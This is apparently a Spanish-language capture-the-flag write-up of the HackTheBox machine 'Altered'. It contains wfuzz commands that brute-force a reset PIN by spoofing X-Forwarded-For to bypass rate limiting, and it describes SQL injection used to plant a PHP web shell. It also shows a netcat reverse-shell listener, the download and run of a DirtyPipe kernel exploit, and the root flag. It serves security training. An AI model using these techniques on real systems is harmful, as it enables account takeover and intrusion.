HackTheBox - Altered (hard)
- Further enchance your skills by exploring related academy modules.
PortScan
❯ sudo nmap -sCV -p22,80 10.10.11.159 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 16:48 CST
Nmap scan report for 10.10.11.159
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: UHC March Finals
|_Requested resource was http://10.10.11.159/login
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeración
- Tenemos 2 puertos abiertos el puerto 22 que corresponde al servicio
sshy el puerto 80 que corresponde a un serviciohttpel cual esta corriendo una pagina web.
❯ whatweb http://10.10.11.159
http://10.10.11.159 [302 Found] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.159], Laravel, Meta-Refresh-Redirect[http://10.10.11.159/login], RedirectLocation[http://10.10.11.159/login], Title[Redirecting to http://10.10.11.159/login], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.18.0]
http://10.10.11.159/login [200 OK] Bootstrap, Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.159], JQuery[1.9.1], Laravel, PasswordField[password], Script[text/javascript], Title[UHC March Finals], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge], nginx[1.18.0]
- La pagina web nos redirige a un panel de login.
- Si probamos con
admin:adminno funciona pero si le damos en recuperar contraseña vemos que nos dicen que introduzcamos un PIN que nos envían al parecer por correo pero no tenemos acceso al correo.
- Si ponemos
PINsincorrectos nos da este error.
- Tenemos 2 cookies.
Rate-Limit Bypass
- Lo que podemos hacer es Fuerza bruta al
PINconwfuzzpero primero tenemos que capturar la petición a la hora de mandar el PIN para saber como esta viajando la data.
- Después de un cierto momento al parecer nos bloquean.
❯ wfuzz -c -t 200 -z range,0000-9999 -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
-
Existen formas de hacer
Bypasshttps://book.hacktricks.xyz/pentesting-web/rate-limit-bypass ya que al parecer si ve que estamos tramitando muchas peticiones desde una misma IP nos bloquea, vamos abusar de las cabeceras. -
El problema de enviar esta petición es que se va a dar cuenta de que no es dinamico.
❯ wfuzz -c -t 200 -z range,0000-9999 -H "X-Originating-IP: 127.0.0.1" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
-
Tendremos que crear un diccionario con diferentes
IPs. -
Mediante 2 bucles aninados vamos a crear el diccionario con las
IPs.
❯ for i in {0..40}; do for j in {0..253}; do echo "10.10.$i.$j"; done; done > IPs
❯ wc -l IPs
10414 IPs
- Si lo ejecutamos vemos que no esta iterando.
❯ wfuzz -c -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Originating-IP: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.159/api/resettoken
Total requests: 104140000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.0"
000000003: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.2"
000000016: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.15"
000000019: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.18"
000000007: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.6"
000000020: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.19"
000000018: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.17"
000000015: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.14"
000000014: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.13"
000000009: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.8"
000000011: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.10"
000000017: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.16"
000000013: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.12"
000000064: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.63"
000000061: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.60"
000000059: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.58"
000000063: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.62"
000000062: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.61"
000000060: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.59"
000000057: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.56"
000000056: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.55"
000000054: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.53"
000000053: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.52"
000000050: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.49"
000000071: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.70"
000000069: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.68"
000000073: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.72"
000000058: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.57"
000000075: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.74"
000000070: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.69"
000000049: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.48"
000000052: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.51"
000000072: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.71"
000000048: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.47"
000000068: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.67"
000000051: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.50"
000000067: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.66"
000000082: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.81"
000000078: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.77"
000000076: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.75"
000000047: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.46"
000000045: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.44"
000000055: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.54"
000000090: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.89"
000000087: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.86"
000000086: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.85"
000000081: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.80"
000000077: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.76"
- Para que itere tenemos que usar el parámetro
-menwfuzzpara que itere.
❯ wfuzz -c -m zip -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Originating-IP: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
-
Bueno si lo ejecutamos nos sigue bloqueando.
-
Vamos a cambiar las cabecera a esta.
❯ wfuzz -c -m zip -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Forwarded-For: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
- No nos bloquea pero obtenemos respuestas iguales.
000001471: 200 140 L 324 W 5644 Ch "1470 - 10.10.5.200"
000001474: 200 140 L 324 W 5644 Ch "1473 - 10.10.5.203"
000001490: 200 140 L 324 W 5644 Ch "1489 - 10.10.5.219"
000001478: 200 140 L 324 W 5644 Ch "1477 - 10.10.5.207"
000001502: 200 140 L 324 W 5644 Ch "1501 - 10.10.5.231"
000001501: 200 140 L 324 W 5644 Ch "1500 - 10.10.5.230"
000001477: 200 140 L 324 W 5644 Ch "1476 - 10.10.5.206"
000001500: 200 140 L 324 W 5644 Ch "1499 - 10.10.5.229"
000001496: 200 140 L 324 W 5644 Ch "1495 - 10.10.5.225"
000001504: 200 140 L 324 W 5644 Ch "1503 - 10.10.5.233"
000001497: 200 140 L 324 W 5644 Ch "1496 - 10.10.5.226"
000001503: 200 140 L 324 W 5644 Ch "1502 - 10.10.5.232"
000001499: 200 140 L 324 W 5644 Ch "1498 - 10.10.5.228"
000001495: 200 140 L 324 W 5644 Ch "1494 - 10.10.5.224"
000001498: 200 140 L 324 W 5644 Ch "1497 - 10.10.5.227"
000001492: 200 140 L 324 W 5644 Ch "1491 - 10.10.5.221"
000001507: 200 140 L 324 W 5644 Ch "1506 - 10.10.5.236"
000001511: 200 140 L 324 W 5644 Ch "1510 - 10.10.5.240"
000001493: 200 140 L 324 W 5644 Ch "1492 - 10.10.5.222"
000001505: 200 140 L 324 W 5644 Ch "1504 - 10.10.5.234"
000001520: 200 140 L 324 W 5644 Ch "1519 - 10.10.5.249"
000001489: 200 140 L 324 W 5644 Ch "1488 - 10.10.5.218"
000001491: 200 140 L 324 W 5644 Ch "1490 - 10.10.5.220"
000001506: 200 140 L 324 W 5644 Ch "1505 - 10.10.5.235"
000001517: 200 140 L 324 W 5644 Ch "1516 - 10.10.5.246"
000001514: 200 140 L 324 W 5644 Ch "1513 - 10.10.5.243"
000001516: 200 140 L 324 W 5644 Ch "1515 - 10.10.5.245"
000001534: 200 140 L 324 W 5644 Ch "1533 - 10.10.6.9"
000001530: 200 140 L 324 W 5644 Ch "1529 - 10.10.6.5"
000001513: 200 140 L 324 W 5644 Ch "1512 - 10.10.5.242"
000001525: 200 140 L 324 W 5644 Ch "1524 - 10.10.6.0"
000001542: 200 140 L 324 W 5644 Ch "1541 - 10.10.6.17"
000001527: 200 140 L 324 W 5644 Ch "1526 - 10.10.6.2"
000001538: 200 140 L 324 W 5644 Ch "1537 - 10.10.6.13"
000001541: 200 140 L 324 W 5644 Ch "1540 - 10.10.6.16"
000001540: 200 140 L 324 W 5644 Ch "1539 - 10.10.6.15"
- Bueno ahora es mas fácil solo ocultamos respuestas con esos caracteres y listo pero antes capturaremos otra vez la petición para cambiar la cookie y sea valida para la petición que estamos haciendo desde la web.
❯ wfuzz -c --hh=5644 -m zip -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Forwarded-For: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZkcFJRb0VjN3NnM0czZ3hXN2t2c3c9PSIsInZhbHVlIjoiVC93OVZvNlBGZXlYTWFJaEwrMmNRalY3cExsYUNBNnBOU01vU0dDankwR1JvVHExdk0xWERmUDVMZ1QvNWxYZVFmbVBEaTJNekVKTDdNUExIcFBuenNHSUkyT1B1b3YvTUxScldNbUM5VzNaWThWWC9oWXZPUzNFZmJyYTdzZU8iLCJtYWMiOiJhODViMmZmYTFkZGRkMGFkZTE4ZDFhNWE2NWY5ZTgwOWE0ZTBlMjhiNjAxZDQyOTFhOTE1ODk5NTYxMWY2Nzc2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.159/api/resettoken
Total requests: 10000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001052: 200 138 L 303 W 5366 Ch "1051 - 10.10.4.35"
-
Tenemos un
PIN codevamos a probarlo. -
Y bueno funciona.
- Funciona.
- Y bueno estamos dentro.
Shell as www-data && Type Juggling
-
Vamos a capturar con
Burpsuitemuchas peticiones a la hora de darclickenviewen cadaprofileya que no vemos nada interesante. -
Vemos que son estáticas no cambian el
secret.
- Si cambiamos el
secretañadiendo otro carácter nos detecta.
- Si cambiamos el
request methodobtenemos la siguiente respuesta.
- Si lo ponemos en
GETmanualmente obtenemos una data diferente por que si lo acepta.
- Vamos a cambiar la petición a un JSON.
- Si alteramos la data cambiando un valor o agregando otro nos da este error.
- Lo mas probable es que por detrás se aplique una comparativa al valor del
secretque tiene que ser exactamente ese para que funcione pero cuando se aplican comparativas usando==podemos poner un True y va a hacer correcto por eso mejor siempre usar un===https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling.
SQL Injection
- Si añadimos una comilla en el campo
idobtenemos un error.
- Si probamos haciendo un ordenamiento para ver si es vulnerable a
SQLIobtenemos lo mismo con o sin comilla.
- Sin embargo al llegar a 3 no obtenemos un error.
- Si enviamos la petición no vemos los números para poder cambiar la
query.
- Si cambiamos el numero del id vemos que el campo que podemos escribir es en el 3.
- Sabemos el nombre de la base de datos.
- Estas son todas las bases de datos.
- Vamos a ver las tablas de la base de datos
uhc.
- Ahora las columnas.
- Vemos los usuarios y sus hashes.
-
Ninguna de las credenciales que obtendremos después de crackear los hashes nos funcionan para conectarnos por
ssh. -
Pero podemos leer archivos.
User flag
- Podemos ver la flag.
-
Algo que podemos hacer es ver si tenemos capacidad de escritura sabemos que la web corre
NginxyPHPpero necesitamos saber la ruta donde guardaría algún archivo que escribamos. -
Encontramos donde esta montada la web.
- Si comprobamos vemos que es correcto.
- Podemos probar escribiendo
testen un archivo.txt en la ruta que sabemos que existe.
- Pero si vamos a la web lo vemos.
- Como interpreta PHP vamos a inyectar código PHP.
- Funciona.
- Podemos ejecutar comandos.
- Vamos a ponernos en escucha.
❯ nc -nlvp 443
listening on [any] 443 ...
- Recibimos la shell.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.159] 55000
bash: cannot set terminal process group (931): Inappropriate ioctl for device
bash: no job control in this shell
www-data@altered:/srv/altered/public$ whoami
whoami
www-data
www-data@altered:/srv/altered/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@altered:/srv/altered/public$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
ENTER
www-data@altered:/srv/altered/public$ export TERM=xterm
Escalada de Privilegios
- La versión de
kerneles vulnerable https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.
www-data@altered:/$ uname -a
Linux altered 5.16.0-051600-generic #202201092355 SMP PREEMPT Mon Jan 10 00:21:11 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
www-data@altered:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.4 LTS
Release: 20.04
Codename: focal
www-data@altered:/$
- Nos descargamos el exploit.
❯ wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/refs/heads/main/exploit-1.c
- Ahora compilamos.
❯ gcc exploit-1.c -o exploit2 -static
- Lo pasamos a la maquina.
www-data@altered:/dev/shm$ wget http://10.10.14.24/exploit2
- Lo ejecutamos.
www-data@altered:/dev/shm$ ./exploit2
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
system() function call seems to have failed :(
www-data@altered:/dev/shm$ ./exploit2
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
system() function call seems to have failed :(
- Ahora tenemos la contraseña.
www-data@altered:/dev/shm$ su -
--- Welcome to PAM-Wordle! ---
A five character [a-z] word has been selected.
You have 6 attempts to guess the word.
After each guess you will recieve a hint which indicates:
? - what letters are wrong.
* - what letters are in the wrong spot.
[a-z] - what letters are correct.
--- Attempt 1 of 6 ---
Word: chmod
Hint->??*??
--- Attempt 2 of 6 ---
Word: mkdir
Hint->*??*?
--- Attempt 3 of 6 ---
Word: shell
Hint->??*??
--- Attempt 4 of 6 ---
Word: email
Invalid guess: unknown word.
Word: cmake
Hint->?*??e
--- Attempt 5 of 6 ---
Word: uname
Hint->u??me
--- Attempt 6 of 6 ---
Word: utime
Correct!
Password:
# whoami
root
# cat /root/root.txt
507f83d162ba9b570e5397694741787d